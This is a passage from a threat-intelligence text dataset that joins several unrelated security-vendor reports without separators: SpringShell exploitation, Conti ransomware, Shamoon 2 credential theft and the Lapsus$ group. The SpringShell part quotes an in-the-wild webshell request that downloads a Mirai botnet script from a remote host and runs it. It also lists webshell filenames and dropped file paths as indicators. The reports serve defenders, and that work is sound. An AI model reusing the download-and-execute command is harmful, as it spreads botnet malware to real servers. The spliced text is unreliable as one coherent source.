mrmoor/cyber-threat-intelligence huggingface dataset:
However, in many cases the filename had an extension that would not support a webshell, such as .js and .txt, which we believe was used just to mark the presence of a successful file upload as part of vulnerable server discovery efforts.
At the time of writing, we have observed 95 unique webshell filenames, which we have included in the indicators section.
A majority of the activity used the tomcarwar.jsp filename that was used in the initial PoC script, which accounted for over 57% of the filenames observed.
In fact, the top three filenames – tomcarwar.jsp, checkexploit.jsp and javatestfila.jsp – account for over 84% of the activity with known webshell filenames.
The pie chart in Figure 13 shows a high-level breakdown of the most common filenames.
A majority of the packets we analyzed showed the webshell contents did not differ far from the webshell seen in the original proof-of-concept script, which can be seen in Figure 14.
Another very common webshell seen within our telemetry is the exact same with different HTTP parameters and values used by the webshell, as seen in Figure 15.
We also observed a significant amount of exploit attempts using content that again was a modification of the initial webshell in the proof-of-concept.
Figure 16 shows the contents that we observed in the wild, which should not be considered a webshell as it does nothing more than display SPRING_CORE_RCE.
The lack of webshell functionality suggests that this is likely uploaded by scanners attempting to discover servers vulnerable to SpringShell.
More recently, we have seen an uptick in webshell content as seen in Figure 17, which is related to another proof-of-concept script created by K3rwin.
This particular webshell will load a base64 encoded class that will contain the functionality desired by the actor.
This particular webshell is based on AntSword’s shell.jsp, which was modified to use a parameter of k3rwin instead of ant to load the class.
The only malicious activity we have seen in our telemetry related to SpringShell involves HTTP requests to URLs containing the tomcatwar.jsp filename associated with the SpringShell proof-of-concept script.
The activity involved parameters issued to the webshell that would run a command to download and execute a script from a remote server as seen in the following:  [redacted IPV4 address]:8080/tomcatwar.jsp?pwd=j&cmd=/bin/sh/-c${IFS}'cd${IFS}/tmp;wget${IFS}hxxp://107.174.133[.]167/t.sh${IFS}-O-%a6sh${IFS}SpringCore;'
Upon further analysis, the t.sh script hosted on this remote server is related to the Mirai botnet.
The requests above were sent from the IP address ​​194.31.98[.]186, which itself has hosted payloads associated with Mirai as well.
Inbound attempts to exploit the SpringShell vulnerability from 194.31.98[.]186 attempted to install the webshell from the original proof-of-concept seen in Figure 14.
Our signatures blocked the initial attempt to exploit the vulnerability so we cannot confirm if Mirai’s attempts to exploit SpringShell have been successful.
Both Netlab 360 and Trend Micro also observed Mirai activity related to the SpringShell vulnerability.
In addition to our threat prevention signatures, we analyzed the alerts triggered in Cortex XDR and found 116 events between April 4 and April 8.
A majority of these alerts are triggered by testing of the proof-of-concept tools previously mentioned above.
We also observed several alerts involving a docker container named spring4shell, which had a /helloworld directory and had a listening port tcp/8080.
We believe these docker containers are also part of internal testing efforts using publicly available docker containers, such as Spring4Shell-POC.
The signature triggered on the creation of the webshell files, of which we observed the following file written:  /usr/local/tomcat/work/Catalina/localhost/ROOT/org/apache/jsp/shell_jsp.java /usr/local/tomcat/webapps/ROOT/shell_.jsp  SpringShell is officially assigned CVE-2022-22965, and the patch was released on March 31, 2022.
Since exploitation is straightforward and all the relevant technical details have already gone viral on the internet, it’s possible that SpringShell will become fully weaponized and abused on a larger scale.
Developers and users who have projects or products based on JDK9+ and the Spring Framework (or its derivatives) are strongly urged to patch as soon as possible.
While CVE-2022-22963 is a different vulnerability in Spring Cloud Function (not technically part of SpringShell), a Threat Prevention signature is also available to ensure coverage at the perimeter.
Unit 42 researchers are proactively monitoring info related to other recently disclosed Spring vulnerabilities and will proceed to provide coverage as soon as more info has become available.
Unit 42 is actively monitoring malicious traffic through our devices and cloud solutions.
The Palo Alto Networks Product Security Assurance team is evaluating CVE-2022-22963 and CVE-2022-22965 as relates to Palo Alto Networks products and currently assigns this a severity of none.
Palo Alto Networks Next-Generation Firewall with a Threat Prevention subscription can block the attack traffic related to this vulnerability.  Palo Alto Networks Prisma Cloud can detect the presence of both CVE-2022-22965 and CVE-2022-22963 across all Compute environments.
Palo Alto Networks Cortex XDR Prevent and Pro customers running agent version 7.4 and above with content version 450-87751 on Linux devices are protected from CVE-2022-22963 using the Java Deserialization module; customers running agent version 7.7 and content 480 and above are protected from CVE-2022-22963 and CVE-2022-22965 for both Windows and Linux using the Java Deserialization module; other OSes and exploits receive protections from post-exploitation activities using Behavioral Threat Protection, Password Theft Prevention, Anti Ransomware and other Anti Exploitation modules.
Cortex XDR Pro customers also have visibility into post-exploitation activities and can specifically track the “Process execution with a suspicious command line indicative of the Spring4Shell exploit” and “Suspicious HTTP Request to a vulnerable Java class” Analytics BIOCs.
Furthermore, customers can create a BIOC from an XQL query looking for the dropped webshell IoCs to detect exploitation attempts in their environments.
Palo Alto Networks Cortex XSOAR customers can leverage the "Spring Core and Cloud Function SpEL RCEs" pack to automatically detect and mitigate the vulnerabilities.
Prisma Cloud Mitigations for SpringShell and Recent Spring Vulnerabilities: CVE-2022-22963, CVE-2022-22965 How Cortex XDR Blocks SpringShell Exploits  0808a56a90ca2f8b1e91a1e60b7b451e.txt 0c901fefcae46ba984225aa72df0825c.txt 1532b681733b6bce2ff7252d8890d550.txt 28fcea06661f13ebe9c87327f949f3a8.txt 2b98432e352ff74569b81099dd5ee246.txt 4acbedbe977480d19b7b682d4878cae2.txt 4fdd6fbd220e26b63a7c9a5aa88f5f31.txt 5657e4634210a3d47a789d1389a89320.txt 646bbc2c112070c26b3c042e81c6947e.txt 70b98d30e383df910ce3d693603404fb.txt 73be7d1ef52c3dbc9a5d726288d8a4ba.txt 83d81ef47f0e9a205fb66a100f3179bf.txt 8592f3e430720d324d7cfd7ecd1de521.txt 8697f146477832389449cf2548032ca7.txt Shell.jsp UJaez.jsp Y4kws.jsp a6bfc76094f689dab978f059ea2456a1.txt aniwvzgvwqnwtehgsfsgbslwoiqkjk.jsp appli12 baf24e5f9fc18cf58172d1ba745f0f7a.txt c41fc8f359d1658559c2d1c0043c76fb.txt cbsewlaeqsdsqktavziakyzsuwfciu.jsp czbwzitpzjzkcvkrirybzihsibmuej.jsp czpdnhpraxgzrtatiuigsalfedwwit.jsp dnuurzjtlbjrnuukwdmaltqrqqlaig.jsp duvdqpoyrcapqbfcetgwsqxfkslubw.jsp ee947d98b91c8ada08f8c15e8f3248fc.txt efdde87c66fe4e6dc73a2ab6111ca58a.txt facb4be5385617bf11e6d67f0aa0203b.txt ggoibjvztvlpelaghjzeweqmopjosz.jsp goocmasqxwfufyxrgyachwidxdotkh.jsp hlbpgpqsyracfnvkgrgvlhcptpmdfn.jsp hmmyitbecwhmrdicykmfvqlcsknbff.jsp hnmqeuzumlokxuhqyekeetrgougeof.jsp ilvckpgzbrcdljyqdfhqendqcwhgxp.jsp izodfyvqujwztweclykgozahdlqvqp.jsp jynrrkjghebemkrhvfzllrepzosinb.jsp kqbnngrfnsxlreajyknuimoamysvwt.jsp ltcovlwqkckjpuzbqzbjdpkgkakvno.jsp mhoqqvpuxdqtuqzmwdrvdeayqvlygb.jsp osanxuadyvjaiorcjfqnckfpewunnt.jsp ptipfhjosfvrfwndwqccapozcbasge.jsp pxwcqxzrstepmbwufjxuaydkwgmvds.jsp qnzfvqpeiljtoyvrywrkuvkrmuewzn.jsp rQFlA.jsp rmdwahilztwhhqnmcbodkgtbnmrhjx.jsp tomcat74935.jsp ubekdurthzexowlohzgienbwvexynd.jsp ufoubgkazumxhqvwlnyfejnmyqofcm.jsp ujpmauuhltvsokjracgwkbflkhhnwo.jsp vkmckfvljtpbyowxwhgbjsvyktfdiq.jsp xcoihpiouaamtnbqqvcvffyxyrokvn.jsp yjjhhdlxepozhirznemjabnsciycvv.jsp yutugdqbrossntwaujgxwgrpgczkbd.jsp zawpiupzzsjexllfbicrgvlcuxzqyb.jsp zqgwtzyrexctiyvsawmwttncwzoyyd.jsp zuvuegtemzfsyqjfykowggxpqkuqdp.jsp 0xd0m7.jsp crashed_log_
gdGCT.jsp
myshell.jsp
rakesh.jsp
shei1.jsp
shell13.jsp
tomcatlogin.jsp
data_theorem_spring4shell_scan.txt
jarom_h1.jsp
jquery123123123cssbackup7331.jsp tomjj.jsp test1.jsp hackerone0x.jsp inject.jsp poc4bugb.jsp curiositysec.jsp mynameis0bsecure.jsp tomcatwa.jsp ahmed.txt testqqsg.jsp wpz.jsp lelel.jsp shell.jsp 07935fdf05b66.jsp vulntest-12345.txt jquerycssv2.js poc.jsp tomcatspring.jsp ofc.jsp lalalalal.jsp safetytest.txt log.txt safetytest javatestfila.jsp checkexploit.jsp tomcatwar.jsp  Updated April 19, 2022, at 7:30 a.m. PT.   Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.
This post is also available in:      日本語 (Japanese)  Conti ransomware stands out as one of the most ruthless of the dozens of ransomware gangs that we follow.
The group has spent more than a year attacking organizations where IT outages can have life-threatening consequences: hospitals, 911 dispatch carriers, emergency medical services and law enforcement agencies.
Ireland has yet to recover from an attack in mid-May that prompted the shutdown of the entire information technology network of the nation's healthcare system – prompting cancellation of appointments, the shutdown of X-ray systems and delays in COVID testing.
Conti also stands out as unreliable.
We've seen the group stiff victims who pay ransoms, expecting to be able to recover their data.
The FBI has connected Conti to more than 400 cyberattacks against organizations worldwide, three-quarters of which are based in the U.S., with demands as high as $25 million.
This makes Conti one of the greediest groups out there.
If you think you may have been impacted, please email unit42-investigations@paloaltonetworks.com or call (866) 4-UNIT42 to get in touch with the Unit 42 Incident Response team.
We’ve followed Conti for more than a year through our work helping organizations respond to ransomware attacks.
It appears to be one of many private cybercrime groups that have set up their operations by leveraging the booming ransomware-as-a-service (RaaS) ecosystem.
Such gangs obtain their foothold in the networks of their victims by purchasing access from other threat actors, who sell it as a commodity.
They can also procure infrastructure, malware, communications tools and money laundering from other RaaS providers.
Most of these actors use the same methods of access found in many ransomware attacks, such as phishing emails and exploiting unprotected internet-facing applications, the lack of multi-factor authentication (MFA), as well as the typical avenues used to preserve and enhance access once it’s achieved, such as through the use of Cobalt Strike or PowerShell.
These approaches are not particularly clever or sophisticated, but often they are effective.
Conti’s methodology often follows the “double extortion” approach that many leading ransomware groups are presently using.
When using double extortion, attackers will not only lock up a victim’s files and demand ransom, but they will also steal files and threaten to publish them on a website or otherwise leak them if their initial ransom demand is not met.  But Conti’s methods do have atypical elements.
Usually, the more successful ransomware operators put a lot of effort into establishing and maintaining some semblance of “integrity” as a way of facilitating ransom payments from victims.
They want to establish stellar reputations for “customer service” and for delivering on what they promise – that if you pay a ransom, your files will be decrypted (and they will not appear on a leak website).
Yet in our experience helping clients remediate attacks, Conti has not demonstrated any signs that it cares about its reputation with would-be victims.
In one recent case, Conti did not return a client’s files who had paid the ransom.
This client got only a small fraction of the file restorations that were promised before the Conti ransomware representatives disappeared back into the dark web.
In another case, our client needed an inventory of all files accessed, so that they could notify parties whose data was affected.
Conti agreed to share that information if a payment was made, then changed their minds, saying, “We do not own that data anymore.
It was deleted and there is no chance to restore it.”
Like many ransomware gangs, Conti is constantly adapting to changes, including recent heightened scrutiny by law enforcement and policy makers following high-profile disruptive attacks on the Colonial pipeline and healthcare organizations.
When Ireland's healthcare system refused to pay any ransom, Conti provided the agency with what it said was a free decryption key.
But there was a twist: The group maintained that it would still make good on its "double extortion" threat to publish stolen data on its leak site.
Unfortunately, keeping Conti out of your network often isn’t simple.
A primary means of infection appears to be through phishing scams, and attackers are constantly upping their game in this area.
While phishing emails used to be pretty easy for almost anyone to spot, particularly after some awareness training, we are seeing increasingly sophisticated attacks in which the threat actors have done plenty of homework on their intended victims.
Sometimes they’ll send a blitz of scam emails to employees throughout an organization, and it takes only one to open the attachment and release the malware into the network.  Ransomware attacks are getting easier to unleash, and the rewards to the attackers are still growing by leaps and bounds.
Accordingly, it continues to be a growth industry that will attract multitudes of new practitioners, and it is likely that high-profile targets will continue to fall.
Palo Alto Networks detects and prevents Conti ransomware in the following ways:  Additionally, Indicators of Compromise (IoCs) associated with Conti are available on GitHub, and have been published to the Unit 42 TAXII feed.
Exploit Public-Facing Application [T1190], Spearphishing Attachment [T1566.001]  Windows Command Shell [T1059.003], Native API [T1106]  Deobfuscate/Decode Files or Information [T1140], Obfuscated Files or Information [T1027], Dynamic-link Library Injection [T1055.001]  File and Directory Discovery [T1083], Network Share Discovery [T1135], Process Discovery [T1057], System Network Configuration Discovery [T1016], System Network Connections Discovery [T1049]  SMB/Windows Admin Shares [T1021.002], Taint Shared Content [T1080]  Data Encrypted for Impact [T1486], Inhibit System Recovery [T1490], Service Stop [T1489]  Table 1.
Courses of Action for Conti ransomware.
†These capabilities are part of the NGFW security subscriptions service.
* These analytic detectors will trigger automatically for Cortex XDR Pro customers.
Unit 42 researchers have been following the Shamoon 2 attacks closely since November 2016.
To date, Shamoon 2 has unfolded in three separate attack waves on November 11, 2016, November 29, 2016, and January 23, 2017.
Based on our newest research, we can answer a question that many have had about these attacks: how is Shamoon 2 able to enter an organization’s network and spread so widely?
The answer is simple: credential theft.
Credential theft has been known to be a key part of the Shamoon 2 attacks.
What our research is showing that’s new is how the attackers use the credentials once they’ve breached the network.
And from this we can see how credential theft is the keystone of Shamoon 2 attacks; if an organization can prevent credential theft, the Shamoon 2 attacks can’t succeed.
In our research, we’re able to outline that Shamoon 2 enters and spreads through an organization in three stages:  These stages are outlined in the image below.  And that credential theft is a key element in each stage:  It’s also worth noting that credentials are a keystone issue in Shamoon 2 wave 2 too: we saw evidence of targeting an organization’s virtual desktop infrastructure (VDI) solutions with default credentials.
While not stolen credentials, the effect is the same: attackers can use those credentials to abuse otherwise legitimate access and privileges to carry out their attacks.
At this time, we do not have research that explains definitively how the Shamoon 2 attackers have obtained these credentials.
We do believe there is evidence suggestive of a connection between Shamoon 2 and the Magic Hound campaign, which could indicate these two attack campaigns could have worked in conjunction with each other to execute the Shamoon 2 attacks.
We also believe the presence of specific, valid named hosts from the network used in Stage 2 shows they were obtained directly from Active Directory on a domain controller.
This is also suggestive of access to the network through legitimate, stolen credentials.
In one sample we examined, we found a total of 844 hostnames.
This also helps to set context for how widely Disttrack can attempt to spread: 844 systems, each attempting to spread to 256, means that from one distribution server, Shamoon 2 attackers could potentially try to spread Disttrack to 216,064 systems; and that’s not counting if any of those infected systems, in turn, attempts to spread to an additional 256 systems.
Shamoon 2 attacks are very targeted to a specific region.
But it would be a mistake to write-off the threat that Shamoon 2 demonstrates.
Shamoon 2 attackers are using a rudimentary, but effective, distribution system of their own making.
The power of their attack doesn’t lie in the tools they use but in their ability to obtain and abuse legitimate credentials.
This underscores why credential theft is something that organizations should prioritize as a top threat and take steps to understand it and prevent it.
We’ve recently published a new Unit 42 white paper on credential theft that we encourage you to read.
To help customers take steps to better understand and protect against this threat, we’ve posted information in our article PAN-OS Configuration Recommendations to Protect Against Shamoon 2 located in our Threat and Vulnerability Articles section on our Live Community.
You can also join in the discussion in our “About Threat and Vulnerability Discussions” on the Live Community.
Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017  Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals.
This post is also available in:      日本語 (Japanese)  The Lapsus$ Group threat actor has grown in just a few months from launching a handful of destructive attacks to stealing and publishing source code of multiple top-tier technology companies.
Though sometimes called a ransomware group in reports, Lapsus$ is notable for not deploying ransomware in extortion attempts.
In today’s environment, threat actors favor using ransomware to encrypt data and systems and often extort victims for significant amounts of cryptocurrency in exchange for decryption keys, sometimes turning up the pressure with the threat of publishing stolen data.
Lapsus$, however, is unusual in its approach – for this group, notoriety most often appears to be the goal, rather than financial gain.
Unit 42 has helped organizations respond to multiple Lapsus$ attacks.
The Lapsus$ Group doesn’t employ malware in breached victim environments, doesn’t encrypt data and in most cases, doesn’t actually employ extortion.
They focus on using a combination of stolen credentials and social engineering to gain access to victims.
We’ve also seen them solicit employees on Telegram for their login credentials at specific companies in industries including: telecom, software, gaming, hosting providers and call centers.
However, the group’s attacks and leaking of stolen data even without extortion can be very damaging.
In addition, we’ve seen destructive Lapsus$ attacks where the actors got access to an organization’s cloud environment, wiped systems and destroyed over a thousand virtual machines.
Although there are no public indicators of compromise (IoCs), and no tactics, techniques and procedures (TTPs) that are unique to Lapsus$ Group, here we will summarize what is known of this threat actor to better enable defenders in understanding and mitigating this threat.
Early Targets of Lapsus$ Evolution of Targeted Organizations Mitigation Actions Conclusion
We first observed the “Lapsus$” handle mid-2021, but the first attack activity quoting that handle was in August 2021, with some U.K. mobile phone customers reporting receiving threatening texts (Figure 1).
In December 2021, the Ministry of Health of Brazil fell victim to an attack claimed by Lapsus$ (Figure 2).
This included the soon-to-be de rigueur data exfiltration and deletion technique, and also redirection of some DNS records.
This was followed in short order by attacks on South American telecoms providers Claro and Embratel, Brazilian state-owned postal service “Correios,” and Portuguese media giant Impresa.
This initial focus has led to speculation that Lapsus$ Group may be Brazilian, although we understand the choice of targets to have been influenced by extended team members rather than the team leadership.
Apart from Argentinian eCommerce provider Mercado Libre / Mercado Pago, subsequent victimology has departed South America and pivoted to focus on the high-tech sector.  Recent public victims have included:  It should be understood that in addition there are likely any number of other victims, targeted by attacks not known in the public sphere.
It is likely that some victims are not the intended end-target, but are rather breached in order to gain access to their customers, or for example, to help bypass multi-factor authentication (MFA).
To this end, we are aware of this actor’s involvement in vishing, SIM-swapping and soliciting third parties at providers for insider access.
For example, in the “proof” of the Okta breach posted on the Lapsus$ Group’s Telegram channel, the actor states: “… our focus was ONLY on okta customers” (Figure 3)
Several of the Lapsus$ Group’s attacks involved the theft and publication of source code.
In the case of Nvidia, it was observed as a non-financial extortion attempt.
In other cases, for example that of Microsoft, there was simply publication without extortion, again supporting the understanding that the primary motivation of this actor is notoriety rather than financial gain.
However, as notoriety and success cause this group to grow, we should expect to see diversity of membership reflected in a diversity of victimology, TTPs and action-on-objective motivations.
Owing to the diversity of techniques used, and the lack of use of malware, there is no single defense against or detection of Lapsus$ attacks specifically.
A hallmark of this group is the diversity of techniques used both for initial access and action-on-objective.
Credentials are harvested from dumps, purchased or spear-phished.
When employed, various techniques to bypass MFA are observed – from social engineering, through SIM-swapping and even compromising MFA/telecoms providers.  Zero Trust network architecture and strong security hygiene are the best defenses against this type of threat actor.
If Lapsus$ has purchased credentials for a network, they can effectively operate as an insider threat, taking advantage of the same privileges the employee has inside the network.  Focus on general information security best practices: MFA, access controls and network segmentation.
Ensure your organization has the ability to detect anomalous activity, including activity that involves trusted third parties in your environments, and protect against non-technical techniques such as vishing and SIM-swapping.